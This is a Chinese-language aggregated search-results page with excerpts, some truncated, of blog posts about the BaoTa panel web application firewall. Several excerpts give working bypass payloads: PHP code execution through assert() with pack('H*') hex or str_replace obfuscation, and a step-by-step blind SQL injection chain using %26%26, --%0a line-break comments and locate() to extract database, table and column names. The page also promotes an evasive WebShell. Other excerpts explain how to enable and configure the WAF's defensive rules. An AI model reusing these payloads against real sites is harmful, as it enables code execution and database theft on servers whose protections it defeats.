精华内容
下载资源
问答
  • RCE绕过宝塔WAF(php)

    2021-07-11 11:35:24
    1.参数bin2hex加密,例如phpinfo(): 编写脚本得到加密后的数据:706870696e666f28293b <?...$str = "phpinfo();"; $hex = bin2hex($str); echo($hex) ...assert(pack("H∗",hex='706870696e666f28293b';...

    1.参数bin2hex加密,例如phpinfo():

    编写脚本得到加密后的数据:706870696e666f28293b

    <?php
    $str = "phpinfo();";
    $hex = bin2hex($str);
    echo($hex)
    ?>
    

    url的参数为:www.xx.com?x=$hex=‘706870696e666f28293b’;assert(pack(“H*”,$hex));

    2.replace()函数

    url的参数为:www.xx.com?x=$str=str_replace(‘qa’,’’,‘qapqahpqainfqao()’);assert($str);

    展开全文
  • 宝塔面板开启waf防护

    千次阅读 2020-02-24 13:17:25
    宝塔成立之初的目标群体就是对服务器技术不太懂的或者想用更简单的方法来管理服务器的人们,为了更好的服务这些群体,我们会在软件立项层面就引入交互体验,将其视为于底层技术一样重要的方向,因为我们认为这些人群...

    宝塔成立之初的目标群体就是对服务器技术不太懂的或者想用更简单的方法来管理服务器的人们,为了更好的服务这些群体,我们会在软件立项层面就引入交互体验,将其视为于底层技术一样重要的方向,因为我们认为这些人群,不但需要软件功能合适,而且软件要简单好用,最好用的过程是不需要看教程或问人,完全凭自己感觉操作。我们就是真的要做到让你更简单的操作服务器。

    宝塔面板在 6.x 之前的版本中自带了防火墙功能(Nginx 管理 > 过滤器 如下图),到了 6.x 之后,,,为了推行收费版的防火墙插件,宝塔官方把这个免费的防火墙入口给隐藏了。今天,就来说说如何开启这个隐藏的 Nginx 防火墙!

    警告:
    以下内容在改动前一定要备份原文件!否则……

    1、进入宝塔面板,打开 软件管理 > Nginx > 设置 > 配置修改

    2、找到大约在第 13 行的 #include luawaf.conf;,去掉前面的 # 符号(“#”代表注释),保存并重启 Nginx。

    3、恭喜你,已经成功开启了防火墙!可以试着访问 http://你的网址/?id=…/etc/passwd,页面会弹出拦截提示那么问题来了:该怎么自定义这个防火墙的防护规则呢?别急,请跟我一起来!还是在宝塔面板里头,打开面板的文件管理,进入 /www/server/nginx/waf 目录,里面的 config.lua文件就是防火墙的配置文件。每一项的具体含义如下所示:

    attacklog = "on"--是否开启攻击日志记录(on 代表开启,off 代表关闭。下同) 
    logdir = "/www/wwwlogs/waf/"--攻击日志文件存放目录(一般无需修改)
    UrlDeny="on"--是否开启恶意 url 拦截 Redirect="on"--拦截后是否重定向 
    CookieMatch="off"--是否开启恶意 Cookie 拦截 postMatch="off"--是否开启 POST 攻击拦截 
    whiteModule="on"--是否开启 url 白名单 
    black_fileExt={"php","jsp"}--文件后缀名上传黑名单,如有多个则用英文逗号分隔。如:{"后缀名1","后缀名2","后缀名3"……} 
    ipWhitelist={"127.0.0.1"}--白名单 IP,如有多个则用英文逗号分隔。如:{"127.0.0.1","127.0.0.2","127.0.0.3"……} 下同 
    ipBlocklist={"1.0.0.1"}--黑名单 IP 
    CCDeny="off"--是否开启 CC 攻击拦截 
    CCrate="300/60"--CC 攻击拦截阈值,单位为秒。"300/60" 代表 60 秒内如果同一个
    

    配置文件中,RulePath 项对应的文件夹里存放的是具体的拦截规则。打开这个文件夹,可以看到里面有一些无后缀名的规则文件。其中每一个文件的作用如下:

    args --GET 参数拦截规则 
    blockip --无作用 
    cookie --Cookie 拦截规则 
    denycc --无作用 
    post --POST 参数拦截规则 
    returnhtml --被拦截后的提示页面(HTML) 
    url --url 拦截规则 
    user-agent --UA 拦截规则 
    whiteip --无作用 
    whiteurl --白名单网址
    
    

    这些文件里,除了 returnhtml(拦截提示页面)以外,其它的内容都最好不要改动,除非你正则学的比较好……否则很容易改出问题来。如果改动了其中的内容,记得要重启 Nginx 才会生效哦~

    备注信息:
    1、其实这个“免费”的防火墙就是大名鼎鼎的 ngx_lua_waf。非宝塔面板用户也可以自己动手安装。详情请参阅:https://github.com/loveshell/ngx_lua_waf

    2、宝塔面板那个收费的防火墙跟这个还是完全不一样的。功能上更加完善,使用起来更加方便。如果你有钱,也可以直接买个收费版~

    展开全文
  • 宝塔面板是广东堡塔安全技术有限公司研发的服务器管理工具,是一家专门从事服务器相关软件及服务研发的公司,宝塔的愿景就是让使用者更简便的使用服务器。宝塔面板是一款服务器管理软件,支持windows和linux系统,...

    实验介绍

    宝塔面板是广东堡塔安全技术有限公司研发的服务器管理工具,是一家专门从事服务器相关软件及服务研发的公司,宝塔的愿景就是让使用者更简便的使用服务器。宝塔面板是一款服务器管理软件,支持windows和linux系统,可以通过Web端轻松管理服务器,提升运维效率。例如:创建管理网站、FTP、数据库,拥有可视化文件管理器,可视化软件管理器,可视化CPU、内存、流量监控图表,计划任务等功能。

    宝塔面板拥有网站的防护功能,可以防止sql注入,挂马,cc攻击等网站入侵的功能

     

    实验目的

    1.掌握sql注入绕过宝塔技巧

    2.了解宝塔面板过滤方式

     

    实验开始

    第一步:

    首先我们测试注入点,结果如下图所示

    1 or 1=1    拦截               1 and 1=1   拦截             1 || 1=1        拦截

     

    第二步:

    id=1 %26%26 1=1   通过

    在这里我们使用&&替换and关键字来做判断,在SQL语法中&&等价于and关键字,然后利用URL编码对关键字内容&&url编码,怕和传递多个参数的&字符冲突,&字符编码后对应为%26,我们发现可以通过此方法绕过

    接着我们继续尝试

     

    第三步:

    1 && (select 1)=1 && 1=1  拦截

     

    第四步:

    1 && ( select 1)=1 && 1=1   通过

    猜测可能匹配到了SQL语句中携带select关键字,符合拦截规则而被拦截,在select前面补空格就可以绕过

     

    第五步:

    1 and( select database()='security') and 1=1   拦截

    尝试把数据库名称跑出来这里利用databases()函数获取当前数据库名称被拦截了

    这里猜测拦截的是database()函数,同理猜测可能是关键字拦截

     

    第六步:

    1 and( select database/**/()='security') and1=1 拦截   中间加注释符操作绕过验证失败

     

    1 &&( select database--%0a()='security') &&1=1  通过

    这里使用了 --换行(换行转化对应的URL编码为%0a

     

     

    第七步:

    解释一下这里--%0a为注释后面代码的然后换行,Mysql换行后的代码还是可以跟着上一行的执行,这样可以实现绕过。由于宝塔拦截的MySql函数还是挺多的,但是庞大的mysql函数库,还怕他不成,从上外下试了挺多个函数后,找到了一两个可以用的函数,这里拿locate()举例,该函数表示参数1的值是否在参数2里,是的话返回真,否则返回假,那我们开始来猜解.

    id=1 &&locate('s',( select database--%0a())) &&1=1  返回真

     

    第八步:

    这里其实可以给locate加个判断,看第一个字符是什么再进行猜解,例如

    id=1 &&(locate('s',( select database--%0a())))=1&&1=1返回真  表示第一个字段是s

    id=1 &&locate('b',( select database--%0a())) &&1=1返回假  

     

    第九步:

    id=1&&(locate('se',(select database--%0a())))=1&&1=1 为真。

     

    id=1&&(locate('sa',(select database--%0a())))=1&&1=1为假。

     

    第十步:

    一路下来,大概猜解流程就是这样

    id=1&&(locate('security',(selectdatabase--%0a())))=1&&1=1 返回真

    我们就知道数据库名security

    接着就是猜表了

     

    第十一步:

    id=1&&locate('e',(select table_name frominformation_schema.tables where

    table_schema='security' limit 0,1)) &&1=1  拦截

    我们发现在进行get注入时候发现拦截。

     

     

    我们猜测是select from这个参数被拦截。

     

     

    第十二步:

    当我们去掉from之后我们发现宝塔不对我们的请求进行拦截

    http://192.168.0.121/sqli-labs-master/Less-1/?id=1'   %26%26 locate('e',( select 1 )) %26%26 1=1

     

    第十三步:

    然后我们发现改成post型传入发现不拦截,可能是宝塔的注入问题

     

    第十四步:

    这样我们就换到11post注入来抓包,我猜出了第一个表,表名为emails。就不一一猜解了,接着猜字段,查询到第一个字段id

    1&&locate('id',(select column_name from information_schema.columns 

    where table_schema='security' and table_name='emails' limit 0,1))

    &&1=1

    接着我们查询内容

     

    第十五步:

    1 &&locate('1',(select id from emails limit 0,1))&&1=1  拦截

    1 && (select locate('1',id)from emails limit 0,1)  &&1=1  拦截

    1 &&(select--%0alocate('1',id)from emails limit 0,1) &&1=1  拦截

     

    第十六步:

    1 &&( select--%0alocate('1',id)from emails limit 0,1) &&1=1   通过

    我们在select前面加一个空格,就可以绕过了。

     

    PS:在这里我就不爆所有内容了  思路都是一样的

    总得来说在绕过宝塔的时候有一些规则还是我们需要去思考的,像在select frompost不拦截,get拦截,这种绕过就有一定的局限性

    展开全文
  • 宝塔配置NGINX,默认的宝塔面板是安装了ngx_lua_waf模块的,在5.9版本中面板集成的waf,所以可以在5.9版本的nginx中看到过滤器这个功能,并且可以设置。 在6.X版本中,宝塔面板还是编译了ngx_lua_waf模块,该如何在...

    宝塔配置NGINX,默认的宝塔面板是安装了ngx_lua_waf模块的,在5.9版本中面板集成的waf,所以可以在5.9版本的nginx中看到过滤器这个功能,并且可以设置。

    在6.X版本中,宝塔面板还是编译了ngx_lua_waf模块,该如何在宝塔面板6.X中开启隐藏的nginx防火墙。

    部分源代码:

    http
    {
    include mime.types;
    #include luawaf.conf;
    

    对宝塔面板注释了#include luawaf.conf,只需要去掉#即可开启隐藏的防火墙。

    第一:NGINX配置修改

    1、打开(软件管理 > Nginx > 设置 > 配置修改)
    2、在源码中找到如下内容:#include luawaf.conf;

    去掉前面的 # 符号(“#”代表注释),保存并重启 Nginx。如图:
    在这里插入图片描述
    3、重新加载nginx,即可开启WAF防火墙。

    进行访问测试http://你的网址/?id=…/etc/passwd,页面会弹出拦截提示,如下图:
    在这里插入图片描述

    第二:配置规则

    打开面板的文件管理,进入 /www/server/nginx/waf 目录,里面的 config.lua 文件就是防火墙的配置文件。每一项的具体含义如下所示:

    RulePath="/www/server/panel/vhost/wafconf/"–waf 详细规则存放目录(一般无需修改)
    attacklog =“on”–是否开启攻击日志记录(on 代表开启,off 代表关闭。下同)
    logdir ="/www/wwwlogs/waf/"–攻击日志文件存放目录(一般无需修改)
    UrlDeny=“on”–是否开启恶意 url 拦截
    Redirect=“on”–拦截后是否重定向
    CookieMatch=“off”–是否开启恶意Cookie拦截
    postMatch=“off”–是否开启 POST 攻击拦截
    whiteModule=“on”–是否开启 url 白名单
    black_fileExt={“php”,“jsp”}–文件后缀名上传黑名单,如有多个则用英文逗号分隔。如:{“后缀名1”,“后缀名2”,“后缀名3”……}
    ipWhitelist={“127.0.0.1”}–白名单 IP,如有多个则用英文逗号分隔。如:{“127.0.0.1”,“127.0.0.2”,“127.0.0.3”……}下同
    ipBlocklist={“1.0.0.1”}–黑名单 IP
    CCDeny=“off”–是否开启 CC 攻击拦截
    CCrate=“300/60”–CC 攻击拦截阈值,单位为秒。"300/60"代表60秒内如果同一个 IP 访问了300次则拉黑

    配置文件中,RulePath 项对应的文件夹里存放的是具体的拦截规则。文件夹下有着相关的规则文件。作用解析如下:

    args --GET 参数拦截规则
    blockip --无作用
    cookie --Cookie拦截规则
    denycc --无作用
    post --POST 参数拦截规则
    returnhtml --被拦截后的提示页面(HTML)
    url --url 拦截规则
    user-agent --UA 拦截规则
    whiteip --无作用
    whiteurl --白名单网址

    文件中除 returnhtml(拦截提示页面)以外,其它的内容都是正则规则的,除非正则比较好,否则就不要随便更改。如图:
    在这里插入图片描述
    修改内容必须,重新加载 Nginx。

    备注信息:
    1、其实这个“免费”的防火墙就是大名鼎鼎的 ngx_lua_waf。非宝塔面板用户也可以自己动手安装。详情请参阅:https://github.com/loveshell/ngx_lua_waf

    2、宝塔面板那个收费的防火墙跟这个还是完全不一样的。功能上更加完善,使用起来更加方便。如果你有钱,也可以直接买个收费版~

    展开全文
  • waf绕过方法闲人

    2020-10-16 16:51:13
    waf会对文件内容进行检索,如果发现有什么危险的函数,或者有什么危害的逻辑,都会进行拦击,所以我们不能写入一些危险的函数,否则就会被ban掉。在我们真正恶意代码前加入大量杂糅字符进行绕过;然后对后缀进行换行...
  • SQL注入——waf绕过

    千次阅读 2020-03-19 17:31:19
    什么是waf Web应用防护系统 (也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、...
  • WAF绕过神器

    2018-12-14 09:02:33
    顾名思义,铁鹰所创建的一款WAF绕过神器1.0版本。。。
  • PHP语言异常灵活,日站的时候经常被waf拦截,于是花了点时间弄了个免杀的PHP大马,减小了体积,测试安全狗云锁阿里云360主机卫士全都过。上传换点积分。没积分的在这儿下 https://pan.baidu.com/s/1dF5rfVF
  • 文件上传之waf绕过和安全维护上传参数名解析常见绕过方法数据溢出-防匹配(xxx...)符号变异-防匹配(' " ; )数据截断-防匹配(%00 ;/换行)重复数据-防匹配(参数多次)fuzz安全修复 上传参数名解析 明确那些东西能修改?...
  • 打开burp,开始手注 bypass宝塔+安全狗 直接把请求改为post,试试垃圾数据填充能不能bypass 生成垃圾数据 好小子,还有个宝塔waf,看来垃圾数据填充已经不好用了 再试试分块传输bypass 还是一样(对分块传输没什么研究,和...
  • 六:利用过宝塔waf思路另辟蹊径绕过waf 宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;就譬如我们在例子一中说的那样,那么我们除了对于我们后缀进行换行绕过,我们也可以考虑对我们的filename做手脚...
  • Bypass WAF实战总结

    2021-01-20 20:18:04
    上个月刷了一波洞,然后这个月初远程支持了一个HW,在文件上传getshell的时候,碰到个各式各样的云waf,通过一个月的实战,总结了几个比较实用的技巧,文章总结的不全,只是基于我实战中用到的一些方法。 0x01垃圾...
  • Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。  WAF呢,...
  • 文件上传绕过waf

    2021-08-24 09:36:16
    文件上传绕过waf safedog 绕过方式 上传参数解析:明确哪些东西能修改? content-disposition:一般可更改,就是表单数据 name:表单参数值,不能更改 这个值是固定的,不能更改的,这个是和后端绑定的 filename...
  • Thinkphp绕过宝塔getshell

    万次阅读 2019-03-07 00:13:42
    可以看到直接被拦了,经测试这里是敏感函数字符拦截,大部分有用的敏感函数都被拦了,这里面被拦的是phpinfo() Emmmm,怎么办呢。。。。。 ...直接执行代码不行,那么就写入代码吧,用file_put_contents()函数进行...
  • 文件上传过waf的方法

    2019-09-25 03:15:23
    原文链接: https://www.cesafe.com/8411.html 原始请求包: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp” ...方法1...
  • 通常在实战中,当我们需要进行漏扫等的时候,常常被waf产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取waf绕过扫描, 0x01 漏扫绕过waf思路 漏扫方法: 综合工具: awvs,xray,appscan, 单点工具:...
  • 浅谈WAF绕过技巧

    2017-10-18 13:57:41
    掌握绕过各类WAF可以说是渗透测试人员的一项基本技能,本文将WAF分为云WAF、硬件WAF、软件WAF、代码级WAF,分别从各自的特性来谈一些相关的绕过技巧,更侧重于针对基于规则类的WAF绕过技巧。云wafEg:加速乐目前CDN...
  • 宝塔紧急安全漏洞

    千次阅读 2020-08-23 20:59:26
    2020年8月23日晚间,宝塔官方紧急推送安全更新,修复了一处在7.4.2版本中的高危漏洞,攻击者可利用此漏洞越权访问数据库,甚至获取服务器权限。 2、漏洞影响版本 版本7.4.2 3、漏洞危害 此版本宝塔面板在部署...
  • 主要是宝塔开启了post攻击拦截导致的,关闭之后就可以了 我的项目追踪请求返回内容: <...<...宝塔免费WAF提醒您,from-data 请求异常,拒绝访问,如有误报请点击误报</div></html> ...
  • 网站打开反应慢的一比,正常情况下一般都是2-5秒就打开了,今天不知道怎么...还好宝塔防火墙有UA黑名单功能,步骤如下 Nginx防火墙→全局配置→UA黑名单→设置里面添加Windows NT 10.0,这个问题就解决了! ...
  • 浅谈绕过WAF的数种方法

    千次阅读 2018-09-26 22:45:12
    互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的...
  • 错误:参数太多POST传递的参数数量超过800,拒绝访问,如有误报请点击误报 原因:表单参数超过800个参数了: max_input_vars默认为1000个,于是改成了10000,记录一下
  • 首先说下WAF的正则  安全狗: 匹配关键字 ,出现就直接杀。  D盾:一些常规查杀,并且如果出现$xxx($yyy); 也会直接查杀,哪怕你明确的给$xxx赋一个毫无危害的值  ...............
  • 一、安装宝塔Linux环境 宝塔Linux官网 腾讯云官网 靶场-天翼云盘 靶场-百度网盘 密码:b4uc Ubuntu安装宝塔Linux命令wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash...
  • 简要说明: 1. GET-参数过滤 --> 对GET类型的参数进行过滤 2.GET-URL过滤 --> 对URI 进行过滤 3. User-Agent过滤 --> 对客户端的UA进行过滤 4.POST过滤 -->对POST传递的参数进行过滤 ...
  • Python编写脚本绕过WAF

    千次阅读 2018-07-15 12:03:16
    xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。 序号 脚本名称 注释 1 0x2...
  • windows宝塔面板安装与部署项目

    千次阅读 2020-07-16 09:29:11
    首先 进入官网下载安装包 宝塔面板官网 下载完成之后,确保自己的电脑没有配置php环境变量 详情点击 我的电脑->
  • 文章目录安装xamppXAMPP: Starting Apache...fail.配置dvwa 安装xampp 开始去官网下,实在太慢了:wget https://www.apachefriends.org/xampp-files/5.6.36/xampp-linux-x64-5.6.36-0-installer.run也连不上。 ...

空空如也

空空如也

1 2 3 4 5 ... 12
收藏数 231
精华内容 92
关键字:

宝塔waf